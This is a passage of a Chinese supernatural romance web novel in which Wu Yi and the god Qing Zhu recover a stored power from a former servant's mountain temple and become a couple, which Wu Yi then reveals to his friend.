乌宜回房间洗过澡,脑袋上顶着毛巾开门,确定李青泉已经不在客厅打游戏,才偷摸着溜到了隔壁房间。 卿烛比他收拾得更快,此时已经靠在床头玩手机了,听见声音转过头,乌宜笑嘻嘻冲他打招呼,脱掉鞋爬上床,耳中忽然捕捉到夸张的女声。 “你怎么能跟他在一起呢?你知不知道、知不知道你们是同父异母的兄妹!” 乌宜:“???” 他定睛一看,手机页面上显然是最近很火的短剧,看起来制作还算精良,但是演员的表演都很夸张,他记得学校的保安就喜欢看这个。 表情变得一言难尽,他忍不住吐槽:“卿卿,你好土哦。” 卿烛瞥他一眼,淡道:“有一百万人正在观看。” “这都是假的。”乌宜凑过去贴在他身边,把那个p上去的数据放大给他看,“唉,也就只能骗到你这种老人家了。” 卿烛无言以对,将视频关掉,另一个软件的新闻台也已经放完,正在给他推送晚间档的肥皂剧。 他扫了一眼,把手机也关了。 “睡觉。” 乌宜想笑,看他已经盖好被子准备睡觉,自己却不老实地压在被子上,翻过去趴着打量他。 “卿卿,我们明天就开始找人吗?” “嗯。” “那要怎么找呢?” “你还睡觉吗?” “凶我干什么?”乌宜小脾气又上来了,“说嘛,要不然我会担心到睡不着的。” “不用找,我已经有猜测了。”卿烛很轻地叹了口气,“你听话,明天我就带你去见,再不睡,明早我走时不喊你。” 他斩钉截铁说出这话,顿时让乌宜吓了一跳,他虽然不觉得卿烛真的会狠心丢下他,但又不敢赌,犹豫半天还是磨磨唧唧地掀开被子钻进去,看见对方伸出手,就习惯性躺进了他的怀里。 “那你一定要叫我,那里肯定是很危险的。” 卿烛嗯了一声,没有多说什么。 他难得这样沉默,倒是让乌宜感受到了几分顾虑,他想要再问,又觉得自己好像也没办法替卿烛分担太多,只好闭上眼睛,乖乖躺在他的怀里。 再次被叫醒已经是第二天上午,半掩的门外很热闹,他隐约听见苗苗和宋爷爷的声音,似乎在讨论什么。 卿烛不在屋子里,他左右看看爬起来,洗漱完换了身轻便的衣服出去,发现李青泉都早早坐在了沙发上,换了身常服,还特意刮了胡子,看起来像是个年轻的大学生。 “早啊。” 乌宜不由面露诧异,“早,你今天怎么回事?” “不好看吗?”李青泉摸摸下巴,似乎也很不习惯,“苗苗和宋爷爷刚还夸我帅来着。” “那倒是也不丑。”乌宜嘻嘻笑着,走过去看着他,很新奇,“要是再修剪一下头发,就更帅了。” “得嘞,我准备办完事去剃个头。”李青泉示意他去吃早餐,自个还跟在后面讨论,“我准备剪个那种,美式前刺,你觉得合适不?” 他没什么品味,平时买衣服都喜欢问乌宜。 乌宜来到陌生的地方总没什么食欲,将汤面推到自己面前,抬起头盯着李青泉想象片刻。 “好像可以,但是要剪干净一点,其实你的气质很独特的。” “真的假的?” 李青泉一副谦虚的样子,但唇角的笑容压都压不住。 “他明明就很嘚瑟嘛。”苗苗童言无忌。 宋成呵呵笑着,只觉得眼前的一幕很是温馨,这些年谁也看不见他,他只能偶尔飘下山,看着自己的倒霉儿子和孙子整天造孽,孤孤单单的,却没想到有一天还能感受到这种温暖。 不多时,卿烛拨电话给乌宜,催他们下楼。 “哇塞,这哪来的车?太拉风了吧。” 李青泉瞧着那低趴的跑车,忍不住俯身去比划了一下底盘和地面的距离。 “我知道,是傅流晔哥哥安排的。”乌宜昨晚迷迷糊糊的时候就把今天的消息都套完了。 李青泉新奇地坐上后座,怀里还捧着苗苗。 周围不少路人侧目,只能看见车前座两人相貌出众,只是穿着常服,却像是哪个剧组或秀场跑出来的。 不过他们看不见的是,后座的李青泉身边还坐着一道半透明的老人鬼魂,此时正笑着望向周围,车启动后,银白的短发随着风微微吹动,面容舒展开,活像是年轻了十几岁。 敞篷跑车一路驶出城区,周围的路逐渐变得宽敞起来,层层叠叠的祠堂也引入眼帘,让人难以移开目光。 “嚯,这地方香火味可真够重的。” 李青泉很感兴趣地看着,瞧见不远处的景区山上坐落着一座巨型祠堂,粗略一看盘在半山腰,细细打量便会发觉那祠堂被分隔成了一格格小间,牌匾上落着不同的字。 “那是什么地方?”乌宜有些好奇。 李青泉本就全副武装,此时从包里找出望远镜朝着那方向看了片刻,嘴里念叨几个姓氏,总算是明白了。 “看起来是百家姓祠堂,我一眼就瞧见李了。” 宋成说:“这地方很有名,据说这山顶的庙里有一位大师,不少富豪和明星都找他看过相,先前据说还替很多人化解了灾。” “有这么灵?”李青泉不常来南方,自然没有听说过,此时却是不太信的,“这听起来,倒是挺像我师傅的。” 乌宜回头,“你师傅是去哪里啊?” “应该在云京附近,他还说解决完事情去云京找我呢。” “好吧。” 乌宜打消了自己那不切实际的猜想。 不多时,卿烛开着车绕到了山的另一侧,不远处是一座古色古香的大宅,规模很是庞大,门口落着假山流水,标着风生水起四个大字,此时大门紧闭。 “这地方看着不太一般啊,应该不是人家住的地方吧。”李青泉琢磨着,“估计不能直接放我们进去。” 宋成却是不屑一顾:“先生想去的地方,还没人能拦住。” 李青泉头大:“是这个道理,但是硬闯是不是也不太好,虽然卿先生身份特殊,但是咱们……” “怕什么,先下去问问就是。” 乌宜却是不在意,直接推开车门下去,两三步踏上台阶,看见门上的门环,便学着古装剧里那样,抬起头用门环用力叩了叩大门。 半天没有人来开门,他叉着腰往后走了两步,不高兴地转头,瞧见卿烛和李青泉都下了车,不满道:“没有人开怎么办?” “要不我进去看看。”宋成跃跃欲试。 乌宜倒是支持,正想点头,身后忽然传来了开门的声音,他下意识回头。 两个穿着统一制服的男人皱着眉头看向几人,问:“你们是?” 乌宜大大方方回答:“我们来找这里的主人,方便见一见吗?” “见封先生是需要预约的,几位可以先登记一下。” “预约要多久?” “封先生最近很忙,大概要一周时间。” 乌宜诧异地睁大眼睛,几乎觉得他是在逗自己。 “这么久?我们等不了。” “如果觉得时间太长,几位也可以先行离开。”男人脸上虽然还挂着笑,但却没了刚才的耐心和礼貌。 乌宜还想要说什么,一只手将他揽至身后,卿烛将一样东西丢到了男人的怀中。 “带它去见你们主人。” “这是什么?”男人手忙脚乱接住,发现那是一只红色的耳坠,看起来有些年岁了,虽然设计很是漂亮,但被岁月染上了陈旧的痕迹。 李青泉见他们墨迹的模样,也没了耐心。 “是什么重要吗?你带着进去给你们主人看不就知道了?没权限的话就换个人来,我们比较着急。” 两人还在犹豫,乌宜无所事事地站在卿烛身后,抬头忽然捕捉到门口出现了几道身影,是穿着统一服装的女人,脚步有些许匆忙,显得很是焦急。 “封先生说了今天会来贵客,到门前的人都要迎进去,你们把人挡在外面做什么?” 两个男人像是被吓了一跳,连忙退到两边,毕恭毕敬地低下头,显得很是拘谨。 其中一人将卿烛给的东西递过去,其中一人看见脸色微变。 但她们并未多说什么,只是冲着他们露出礼貌的笑,双手将信物送还,“几位里面有请,今天先生都在堂里等着,这会儿正好有空接客。” 乌宜转头看了眼卿烛,还是跟着他进去了。 几人进了大门,穿过层层大院,乌宜险些绕的眼花,回头看时已经辨认不出来时路。 李青泉跟在后面,也止不住感叹,“真富啊,你说这里的主人要真是你家卿卿的手下,那他也太造福了吧,接触过的人都这么有钱。” 乌宜听了这话,心里却不是滋味,“你这话太让我受伤了。” 李青泉被他的话呛到,顿时尴尬,忙安慰:“你才多大点,人家都半截入土的人了,你计较这些,说不准以后你也这么有钱呢。” “我其实也不穷。”乌宜解释。 虽然他的钱都是从卿烛那里薅的,而不是他自己赚到,不过卿烛的就是他的,这样换算也很合理,他才不比任何人穷。 两人小声吵闹,不多时终于到了内院,这里相较于外面显然清净许多,没有那么多走动的人。 走入院内,乌宜抬头看见水流顺着雨链往下落,院子里放着几缸还未开放的荷花,顿感心旷神怡,住在这应该是件很惬意的事情。 “封先生,人带到了。” 听见这声,乌宜下意识抬头看去,就见一个满头银发的老人站在宽敞的厅内,正朝着他们方向看来,而目光触及卿烛的一瞬,瞳孔骤缩,两腮下意识收紧,垂在身侧的手都明显轻颤起来。 “反应这么大,看起来倒是不像坏人。”李青泉若有所思。 乌宜第一反应就是去看漂在上空的宋爷爷,对方此时紧紧盯着那男人,似乎因为时间过分久远,也没办法确认那人的身份,只能静静地看着。 “先生!” 那老人声音颤抖地上前,近乎虔诚地仰头看着卿烛,就这么直挺挺在他面前跪了下来,过分激动涨红的脸上满是不敢相信。 卿烛没有扶他,垂眸望着潸然泪下的老人,缓缓吐出了一个名字。 “封天骄。” 听见这名字,乌宜怔了怔,感觉听着有点奇怪,一扭头发现李青泉的表情也是一言难尽。 “我天,这名字也太张扬了吧。” 封天骄面上也流露出赧然,“先生,您还是叫我阿风吧,这名字是我后来才改的,您也知道我原先的名……不好听,之后干了这行,得起一个能压住人的名字,这是让算命先生选的。” 卿烛凝视他片刻,似乎没看出什么,“起来吧。” “是,您坐,这两位小兄弟也坐吧。”封天骄缓慢地站起来,步履蹒跚迎他们坐到主位两侧,又安排人倒茶。 乌宜不爱喝茶,就只是摸摸杯子假装配合,不着痕迹地抬头去看半空中的宋成。 “宋爷爷,封天骄从前叫什么啊?” 李青泉也不着痕迹地探身过来偷听。 宋成欲言又止,说:“叫封苟。” “疯狗?”李青泉差点把茶水喷出来。 宋成:“是不苟言笑的苟,所以我们都叫他阿风。” 乌宜也没想到会是这种名字,眨眨眼小声说:“那个年代是讲究贱名好养活嘛。” “不,他父母是故意的。”宋成很轻地叹了口气,“他的遭遇你们应该也知道,反正他小时候受了不少苦,之后性格也一直很偏激,从前是最拥护先生的人,我原本还怕他变了,现在一看,锋芒倒是比从前钝了不少,更好相处了。” 乌宜看了看站在卿烛身边不愿落座,抬手抹着眼泪的封天骄,心中也不由得感慨起来。 “那也是苦尽甘来。” 李青泉喝水润了喉咙,又暗暗示意他去看周围的东西。 “你看那些摆件,可都是藏品级别,这日子可不是一般滋润,不过我就好奇,他是做什么的?” 这个问题乌宜也很好奇,但这会儿没办法和卿烛心意相通,两侧座位又离得那么远,他只能冲对面的人挤眉弄眼,鼓鼓脸颊示意。 卿烛眼底划过一丝迷茫,显然没搞明白。 “我来。”宋成立马飘过去,将乌宜的话告知他。 乌宜看见对面的人朝着自己看过来,立马抬手比划一个ok,然后就见卿烛转向了封天骄,说了些什么。 两人在对面畅谈,具体其实是封天骄一个人说了不少,卿烛只是安安静静听着,极少开口。 “聊着聊着都到午饭时间了,我已经让他们设宴,我们边吃边说。” 封天骄乐呵呵地迎着他们去了前院,李青泉一肚子疑问,这会儿见他那么好相处,也主动凑上去打招呼,两人相谈甚欢,走在后面的乌宜逐渐放慢脚步,总算跟卿烛并肩而行。 “问到了没有?” 卿烛淡道:“时代红利,炒房投资,这座山都是他的。” 乌宜倒吸一口气,满眼都是羡慕,“前面那个百家姓祠堂和山顶的寺庙也是他的吗?” “他和那位所谓的大师很熟。” “那是真的可信了?我也想去算一算。”乌宜念叨这件事已经很久了,“我也想算算命。” 卿烛似有无奈,站定脚步望向他,“我帮你算。” “你会?” “比任何人都专业。” “那你算算。”乌宜不知道他说的是真是假,但还是很高兴地踮起脚尖凑近他,扬起巴掌大的小脸,“说说我是什么命。” 微凉的指尖落在他眼角眉梢,将耳边碎发捋至耳后,低沉的声音顺势酥酥麻麻传入耳中。 “长寿命,富贵命。” 乌宜被他哄得想笑,死命压着唇角,“你就故意哄骗我。” “没哄你,你是我的宝贝,怎么会命不好?” 他忽然喊出这个称呼,顿时让乌宜觉得犯规,脸颊染上潮红,嘴角还是没能压住弧度。 “你就知道投机取巧。” 卿烛殷红的眸底染上很淡的笑意,俯身凑到他唇边,吻了一下。 “有人!” 乌宜余光瞥见有人从长廊走过,伸手推开他,脸颊火烧火燎滚烫,被啄吻过的嘴唇也像是被电了一下,麻麻的。 卿烛侧眸扫了一眼,却并不在意,将他揽入怀中,顺手揉揉他发红的滚烫耳廓。 “走,去看戏。” “什么戏?”乌宜心跳还有点快,乖乖跟着他走。 卿烛意味深长:“看了就知道。”《 》 50-55 第51章 吃饭的地方是单独隔开的, 两侧的屏风撤了,刚才聊天的功夫就落下雨来,淅淅沥沥湿了院内的地, 他们坐在檐下用餐倒是惬意,一边吃饭一边赏景。 乌宜很喜欢这种氛围,面前的午餐也很是丰盛,虽然只有他们四人,菜却很夸张地铺满了桌子, 两侧还立着六个传菜布菜的年轻女人,手脚都很麻利。 这阵仗倒不像是在家里吃饭,反而像是在特色餐厅, 还是那种吃一顿要几千上万的。 “封爷爷, 听说你们山上那个大师很灵,正好我最近想算算命, 你能不能帮我引荐一下?”李青泉吃着饭问。 封天骄同他很聊得来,这会儿也很利索地答应, “这倒不是什么问题,但大师这段时间正在闭关,可能得过段时间。” 听了这句, 乌宜又警惕起来。 他可没有忘记, 之前赵机也是最开始表现得很配合,结果只是想拖时间而已。 之前的例子太鲜明, 导致他今天虽然觉得封天骄的所作所为都很正常,却还是没有办法完全信任这个人,此时又不由得生出疑心。 李青泉显然也意识到了这点,同乌宜交换一个眼神,又追问起来:“为什么啊?大师平时是固定时间闭关吗?我听说他们做这个的, 偶尔是要休息。” 封天骄有些不好意思似的,说:“其实是因为我。” “您?” “是,前些日子我生了一场大病,差点没能过鬼门关,醒来以后做什么都觉得力不从心,我毕竟还有秘密在身,苦苦支撑了这么多年,就怕走了以后出什么意外,于是求大师替我算了一卦,原本是想算一算先生大致的苏醒年岁,好将那些东西封存,不料……” 封天骄说到这,似乎太激动了,声音不由得哽咽,抬起头看向淡然的卿烛,才又将情绪压了回去。 “不料大师说先生大概已经醒了,正在寻我,原本我还想让大师帮我算个具体的方位,我好主动把东西奉还回去,可大师让我别乱跑,并说大致这个月先生就会来洲城,所以我这个月特意推了一切事宜耐心在家等,没想到真的将先生等来了。” 乌宜听完,不由得感慨。 这算的也太准了,就是不知道李青泉听完会不会心里不舒服,毕竟在他的心里一直觉得自己师傅最厉害,现在遇上个能掰手腕的,肯定好奇心更重。 果然,李青泉又追问:“那之后大师就闭关了?他有说什么时候出关吗?” “先前说要闭关一月,现在已过去半个月,应该也快了,等有消息我第一时间通知你。” 李青泉虽然着急,但对方态度已经这么好,他自然不会再说什么。 乌宜闷头啃鸭腿,余光瞥着桌上几人,明显察觉到封天骄一直在盯着卿烛,显然是有话要说。 这就是所谓的戏吗?封天骄又要说什么呢? 他很是期待,察觉到右侧的人端着茶杯站起来,脑海中响起警铃,耳朵微微竖起。 “先生。”封天骄深吸口气,走到了卿烛的身边,“阿风在这里要跟您赔罪。” 好戏来了。 乌宜转头看过去,卿烛坐在原地未动,一手拿起茶盏,神色淡淡,“你有什么对不起我的。” 封天骄羞愧地低下头,“先前您给我的东西,我害怕自己保管不好,于是便寄存在了一处……” 这台词。 乌宜下意识和李青泉对视,都从彼此的眼中读出了一言难尽。 封天骄的说辞怎么跟赵机一样。 正失望,封天骄又继续说了下去,“就在山顶。” “你愿意奉还,就不算对不起我。”卿烛一语中的。 封天骄连忙表忠心:“这本就是您的东西,我又怎么会不还,等吃过饭我便陪着先生上山去取,只是还想和您说句对不住,您来这里的时候应该也听说上面的庙靠得住,但其实都归功于您寄存在这里的东西,我知道不该擅自使用,可那东西……并不受我控制,之后我再想取走,已经有些费劲了。” 听了这话,乌宜倒是不由得吃惊,看着封天骄真挚恳切的模样,忽然觉得是自己以小人之心度君子之腹了。 卿烛:“不是什么大事。” 封天骄明显松了口气,但还是以茶谢罪,又说了不少。 吃过饭,乌宜靠在椅子上昏昏欲睡,只觉得犯困,但是捕捉到对面的两人讨论起上山的事情,又立马来了精神,强撑着睁大眼睛,表示自己也想要去。 卿烛:“眼睛都睁不开还闹。” 他语气淡淡,却带着一丝微不可查的宠溺,封天骄意识到,目光在两人身上巡视片刻,笑道:“小宜困了的话,我让人安排房间,让你们休息。” 乌宜有些不高兴,强撑着站起来,“我不困,我也想去山上玩。” “我们可不是去玩的,等取完东西就得下来,很累的。”封天骄劝他。 乌宜不说话了,盯着卿烛看了两秒,扭开头气呼呼要走。 黑雾如细云般飘出,在他腰上轻轻圈了一下,将他往回捞去。 只是推后了一些距离,乌宜却明白卿烛的意思,扭头又看他两眼,才气鼓鼓回去。 “走吧。” 封天骄面露困惑,仿佛不懂他们什么时候达成的统一意见。 李青泉吃太多犯困,没跟他们一起上山,去安排的房间里头休息了。 有封天骄在,卿烛并未用更快的方式上去,亦步亦趋跟在他们身后,听乌宜和封天骄聊天,全程没有说过话。 “封爷爷,你的孩子不跟你住在一起吗?”乌宜想到刚才只在那宅子里看见了很多佣人,似乎并没有跟封天骄一样为主人的存在。 封天骄拄着拐杖走在前面,笑呵呵地说:“现在的年轻人都不喜欢跟老人待在一起,他们也都成家了,有自己的生活要过,不喜欢别人打扰,我尊重他们。” 乌宜不由得同情,“那您一个人不无聊吗?” “无趣的时候就接接客人,我们这救助过不少人,这些事情对我来说都很有意思。”封天骄露出一副满足的表情,“做好事也是积德了。” 乌宜越听越觉得自己对他的偏见太重,不免内疚。 “您真是个好人。” “可不敢这么说。” 封天骄有一搭没一搭说着话,爬山到后面已然是气喘吁吁,再说不出一句话来。 乌宜缺乏运动,爬到半山腰也有点儿喘,只好放慢速度贴着卿烛,被卿烛托住手腕,便心安理得地开始借力。 走了没多久,他整个人就挂在了卿烛的身上,懒懒贴着往上挪。 卿烛倒是不觉得费力,只忍不住嘲:“懒。” 乌宜自觉心虚,小声辩解:“我没有休息好,犯困。” “你这个速度,连八十岁老人都追不上。” 乌宜抬起头,发现封天骄已经只剩个遥远的背影。 “你也走得慢。” 卿烛轻笑:“要背吗?” “才不要。” 丢死人了。 两个人腻腻歪歪走在后面,乌宜累得不行,到最后还是□□地上了山。 山腰的寺庙香火味十足,今天甚至是普普通通的工作日,前面的阶梯都有不少人正在朝上走。 乌宜新奇地到处张望,等被带着走进了最深处的庙宇当中,还有些没反应过来。 “先生,就在里面。”封天骄很是激动,又指了指侧面紧闭的屋门,“那位大师平日在的话,就会在那等待香客,不过他暂时不下山,屋子就锁住了。” 乌宜经过窗子时忍不住往里面张望了一下,黑漆漆的,也看不清楚里面的景象。 不过多时,他们总算抵达一间屋子,里面香火味十足,两根足有乌宜高的香烛插入炉中,蜡泪沉甸甸坠下去,看起来是前些日子刚点的。 “就是这里。”封天骄很警惕地左右看看,确定没人,才将门关上。 屋子里只亮着几盏暗淡的灯,乌宜有点看不清楚,只能跟着卿烛往里面走。 封天骄将拐杖放在边上,小心翼翼地走到了香炉前,又抽出三根香点燃,拜了拜,嘴唇开合小声说着什么,在这样的环境下听不真切。 卿烛也很有耐心地等着,乌宜站在边上瞧着,一时间莫名吃味。 要是这会儿浪费时间的人是他,估计卿烛早就出声嘲笑他了,怎么可能那么安静。 正感慨着,封天骄就颇为不好意思地转过头来,好像刚反应过来般,“先生不好意思,我每回来都这样,习惯了,东西就在后面,您跟我来。” 卿烛依旧没有说话,跟着他绕到香炉后。 乌宜刚跟上去,就看见封天骄垫着脚从后面取出了什么东西,紧接着一缕黑雾盘旋,轻轻缓缓地覆盖在了卿烛的身上,几乎将他的身形完全掩盖。 这样忽然,让乌宜莫名不安,他上前一步正要过去,却被封天骄给拦住了。 “没事的,先生与这些力量融合需要些时间,不是什么大事。” 乌宜自然清楚这一点,此时心里莫名有些不自在,想要解释什么,看着老人家和蔼的笑容,又憋了回去。 时间一分一秒过去,黑雾中央的人总算有了反应,微微移动身形出现在眼前,眼眸处的淡淡红光冷厉而又鲜明,幽幽暗光使人后背生凉。 乌宜有些担忧地看着,瞧见卿烛眸中的色彩逐渐减弱,恢复成了平日的模样。 他松了口气,封天骄却笑着说:“看,没什么事吧。” 他心里不是滋味,简单嗯了一声,赶紧走过去摸卿烛的手。 温度正常,他松了口气。 卿烛不着痕迹地捏了捏他的手,没有多说什么,“出去吧。” 三人离开了屋子,出去时乌宜心里还在念叨着李青泉的心愿,打算找封天骄问一问那位大师目前的居所。 但还未开口,身后忽然传出砰的一声,他回过头,两侧的屋门猛然打开,撞击在墙上发出剧烈声响。 而原本漆黑一片的祠堂瞬间大亮,雨后的空气伴随着微风涌入,将封尘的气息吹拂干净。 原来这屋子里并没有那么恐怖,看起来就是很正常的祠堂。 “将这里拆了吧。”卿烛说,“我不需要庙。” 封天骄还想要说什么,可他却没有给任何开口的机会,已经抬腿朝着外面走去,跨过院内门槛,又意识到有人没跟上,微微侧首望向乌宜。 乌宜觉得他的举动有点孩子气,联想一下这个人指一指动一动的模样,莫名联想到了人机,顿时有点想笑。 他和封天骄打过招呼,便小跑着跟上去,和卿烛一同离开了这座位于山顶的小庙。 往山下走,每一层都是不同的祠堂,香客诸多,两人走在其中格外瞩目,乌宜两三步蹦下台阶,还没来得及说些什么,就被男人牵住手腕,朝着人更少的侧面阶梯走去。 这里更安静,两侧都是树,因为刚下过雨,风一吹就簌簌落下水珠,乌宜抬手擦去,有点嫌弃。 “我们现在直接下山吗?”他问。 卿烛嗯了声。 “我们不等封爷爷吗?” 卿烛听了他的话,不知为何忽然笑了。 “背着人家的时候,你倒是礼貌了。” 乌宜闹了个大红脸,知道他是在说自己刚才因为封天骄阻止他上前的事情,想了想只得别扭道:“那人家说的也没错,你们本来就认识更久,我哪里懂你呢。” “相处的时间长短并不和情分画等号。” “但……” “至少对我来说是这样。” 乌宜的心跳不知为何有点快,又往下走了几级台阶,才扭过头去。 “反正你对我来说是最重要的。”说完想了想,又补充,“全世界最重要。” 如果没有卿烛,他可能早就死掉了。 卿烛这次没有再用莫名的眼神看着他,而是停住了脚步,俯身朝着他倾来,身体微微压下,乌宜下意识就垂了眼眸。 一秒后,灼热的吻落在他眉间,又顺着啄吻在小巧的鼻尖。 那里有一颗很小的痣,平时他要凑镜子很近才能够看清楚。 “你对我来说是特殊的,这句话我和你说过很多次了。” 他的声音低沉而认真,惹得乌宜耳廓脸颊都蒸热了,感觉到距离太近不好意思,又带着害怕被人看见的羞耻,只能嗯嗯点头。 他又不傻,当然知道卿烛对他也不一样。 换句话说,倘若不是卿烛那样纵容,他或许也养不成这样的性格,也更不会胆大到总是激怒卿烛了。 “他们是仆人,从认识开始结下的关系就是如此,但我们不同。” 卿烛忽然捉住他垂在身侧的一只手,轻轻拿起放在了自己的胸膛上,“我的身体里有属于你的血液,他们崇敬我,却又畏惧我,只因为我救了他们的性命,而救我的人,是你。” 乌宜微微睁大眼睛,一时间什么情绪也再顾不上,抬起头怔愣地望向眼前人,心间像是有初春的花瓣缓缓盛放,几乎能听见叶片抖动的簌簌声响。 十三年前,他被名为他父亲的人拽上山,鲜血淋漓地被丢弃在大雨中的坟堆上。 卿烛说他死过一回,而那一次,他的血顺着雨水浸入大地,涌入了寄存卿烛神识的泥土之中,这才将沉睡几十年的邪神唤醒。 即便是上一次从梦中回忆起这些事情,可他都从来没有邀功,此时卿烛说出口,他非但没有像平时那样想要炫耀和嘚瑟,反而还变得更加羞赧。 “也是你救了我啊,要分这么清楚吗?” 卿烛伸手捧住他的脸,距离愈发拉进,眸底的情绪依旧淡然,“不是你先分的?” 乌宜不说话,试图转开视线。 “你不说,我也知道你在想什么。”卿烛说。 “是是是,就属我最笨了。”乌宜小脾气上来。 卿烛却没有笑,只是轻轻拂去他发丝上的湿润水珠,“我想说,既然我不想放你走,你也不愿意离开,那以后我们就这样过下去,你觉得好吗?” “好什么?”乌宜有点愣怔,察觉到他似乎在暗示什么,一时间又没办法想明白。 “跟我在一起。” “……” 乌宜的心脏忽然加快跳动,“你不是追我吗?这么快就要催了。” 他心乱如麻。 卿烛思忖片刻:“人类的寿命有限,我不想浪费太多时间。” 他说到了最关键的点,乌宜抿唇,眼神晦涩,“你也知道我是人,再过几十年我就死了,你觉得真的有必要吗?” 卿烛没有亲人朋友,对于人类之间的感情完全不了解,他现在是喜欢自己,可是如果这个让他喜欢的存在只能占据他人生之中微不足道的一小段,或许很多年以后,这个人就会被彻底遗忘。 乌宜感到很矛盾,他也知道世事无常,应该及时行乐。 可是他们之间的差距总是让他感到很没有安全感,他和卿烛在一起很幸福,可是如果有一天他死掉了…… 思绪混乱,他心中几乎无法克制地升腾起了恐惧。 “那要是我死了呢?你要怎么办?”乌宜还是没有忍住,漂亮的眼眸蓄起泪花,“你是不是又要找新的仆人了?” 卿烛垂首吻了吻他泛起薄红的眼皮,声音沉冷。 “我会一直回忆我们之间的过去,这些故事会永远伴随,直到我消失的那天。” 晶莹的泪不堪重负落下,温柔的吻循着落在唇上,珍重而又虔诚- 他们回到山下时,封天骄早早就到了,见着他们迟迟归来还觉得莫名其妙,但好在维持着分寸没有多问。 乌宜跟在卿烛身后,全程抿着嘴唇没有说话,他脸颊潮红未褪,白皙漂亮的脸蛋带着些许赧然。 晚餐时间,睡醒的李青泉总算出来同他们会和,得知已经取回力量,满脸都是震惊。 “这么一说,我们两还真是猜错了,在这冤枉别人半天。” 乌宜也很不好意思,“封爷爷人挺好的,我刚才还听见他在和理疗师说晚上要艾灸,说爬了山膝盖不舒服。” “真是不容易。”李青泉也顿时肃然起敬,一边计算着,“那我们的行程都过半了啊,现在剩下一个,你家卿卿就合成了。” “你这话好奇怪。” 让乌宜想到了游戏里的角色碎片,扭头看看卿烛坐在茶桌前煮茶的背影,又顿时感觉嘴唇有丝丝缕缕的酥麻传来。 脱单的欣喜在心上跳跃,他有点忍不住了,索性戳戳李青泉的手臂。 “我看见后院有荷花池,去看看吗?” “嗯?”李青泉点点头,“行啊,反正还没开饭。” 两人出了门,乌宜见着四下无人,轻咳一声:“你觉得我们是好朋友吗?” 李青泉已经瞧见荷花池了,正往那边张望,听见这句怔愣一下,匪夷所思道:“不然呢?你不会要跟我绝交吧。” “我有一个秘密没人可以分享,现在特别想说,你要听吗?”乌宜忍不住蹦了蹦。 李青泉立马露出感兴趣的表情:“你说,我保证守口如瓶,就连对我师父都不说。” “你发誓。” “我发誓!” 乌宜其实对他还是很放心的,这会儿又往周围张望两眼。 “你到底说什么机密啊。” 李青泉都被他警惕的模样给逗笑了。 乌宜有些不好意思,小声说:“我谈恋爱了。” “什么?” 李青泉表情忽的一变,生洪如钟。 “你小点声!” 乌宜都被他给吓了一跳。 李青泉连忙捂住嘴,眼神中却还透着震惊,“你谈恋爱了?跟谁啊?网恋吗还是学校里的同学?” “他们那么幼稚,我才不喜欢呢。” 李青泉的眼神中满是痛惜,莫名有一种自家的大白菜被猪给拱了的难过伤感,这会儿瞧见乌宜单纯的眼神,又止不住翻涌起一股无名火。 “是谁?这件事卿先生知道吗?” 他说完这句,忽然间就有了底气般,“我跟你说,卿先生也不会同意的,你又不是不知道他占有欲有多强,我有时候碰你两下,他那眼神……” 乌宜一言难尽地看着他。 意识到自己偏题,李青泉又忙补充:“我可不是说卿先生坏话,我的意思是你要慎重,已经确定关系了吗?可以先带回来给大家看看,你再做决定嘛。” “你见过呀。”乌宜嘻嘻一笑,还未等面前人多问,便语出惊人,“就是卿卿,我和卿卿谈恋爱了。” “!!!” 李青泉眼睛瞪得像铜铃,乍一眼看还有些吓人,“你开玩笑的吧?” “没有哦,是卿卿跟我表白的。” 乌宜“不小心”秀了波恩爱。 李青泉整个人都麻了,感觉自己像是被整蛊了,可他看了眼身后的院门,居然没有进去问卿先生的勇气。 回想起从前两人相处的种种,再回忆起他每回拐乌宜出去玩时,卿先生冰冷的目光,他莫名就相信了这一切,而且震惊之余,还有种本该如此的安心感。 天,小白菜被菜农给吃了。 第52章 从山上下来的当天, 封天骄表示会大力替他们找寻剩下一个仆人的踪迹,于是三人便在封家住了下来。 乌宜问过卿烛是否需要沉睡吸收一段时间,但卿烛并未给出确切的回答, 每天不是窝在房间里看书,就是被他和李青泉带出去玩。 只不过自从李青泉知道他们两在一起的秘密后,便再也不敢跟从前一样大大咧咧,面对卿烛时总显得紧张,像是害怕自己随口说的话被乌宜传到对方耳中。 就这么闲散了几天, 乌宜明显感觉到卿烛的情绪变得不太对劲,虽然面对他的时候跟从前没什么区别,但对外明显沉默冷淡了不少。 封天骄将自己的大小儿子引荐给了卿烛, 看起来都是成熟的精英人士, 乌宜对他们并没有太多的感觉,天都没聊就起身离开了。 不多时, 卿烛也到了后院,准确在他平时逗留的位置找到了他。 “聊完了吗?”乌宜趴在栏杆前, 忍不住打了个哈欠。 “嗯。” “你们什么时候出发去找最后一个人啊?” 卿烛淡道:“有线索了,很快。” “那等这些事情结束,就可以回云京了吗?” 乌宜有点期待, 虽然洲城很好玩, 但他还是不太喜欢在外面逗留太久。 “嗯。”卿烛看着他,“让李青泉带你出去玩, 这里没什么意思。” “那你呢?”其实乌宜也想出去玩,但是又不想落下卿烛。 脑袋被轻轻揉了揉,卿烛垂首吻了吻他的额角。 “结束以后来找你们。” 他这么说,乌宜敏锐察觉到有哪里不对劲,正打算问, 转头就看见封天骄的大儿子走了过来,便将话给咽了回去。 过两天洲城正好要举办一场电竞比赛,城市中到处飘着战队应援,李青泉对这个游戏本就热爱,这些天一直在找各种渠道购票,想要混进去看一场。 乌宜对于游戏不热衷,但也想出一份力,纠结着便去询问镜。 两人已经有段时间没聊过天了,乌宜还担心他不会回复,没想到对面几乎是秒回。 游戏好友-镜:【半决赛和决赛,要几张?】 乌宜发了个二,对面很快就问他要地址,他想了想,便将两人住的酒店地址发了过去。 【ok】 这就好了? 乌宜不好意思,【多少钱呀?】 【不需要,免费的】 乌宜觉得奇怪,【现在外面黄牛都要一千块一张了,我朋友害怕是骗子,所以还在问,没有买。】 【本来就是假的,谁信谁傻子】 乌宜看完消息想笑,还是执着回复:【我也不知道应该是多少,但是不好意思白要。】 发完,他转账过去,却被对方直接秒拒收。 正摸不着头脑,镜发来了一条语音。 【实在过意不去,等看完比赛就请我吃顿饭吧,场馆附近有一家老火锅店味道不错,不过我提前申明,我胃口特别大,可能吃很多,你得带够钱】 对面的声音散漫,像是正在嚼口香糖,背景还有键盘的急速敲击声,有点吵闹。 乌宜犹豫片刻,又想到镜之前陪着他聊了那么久的天,便觉得没问题,索性答应下来。 结束聊天,他决定尽快将这件事告知李青泉,跑出房间便听见他正在跟人发语音。 “哥便宜点呗,我们都是学生,一千五也太贵吧,原价才六百多呢……哎呀我不是这个意思。” 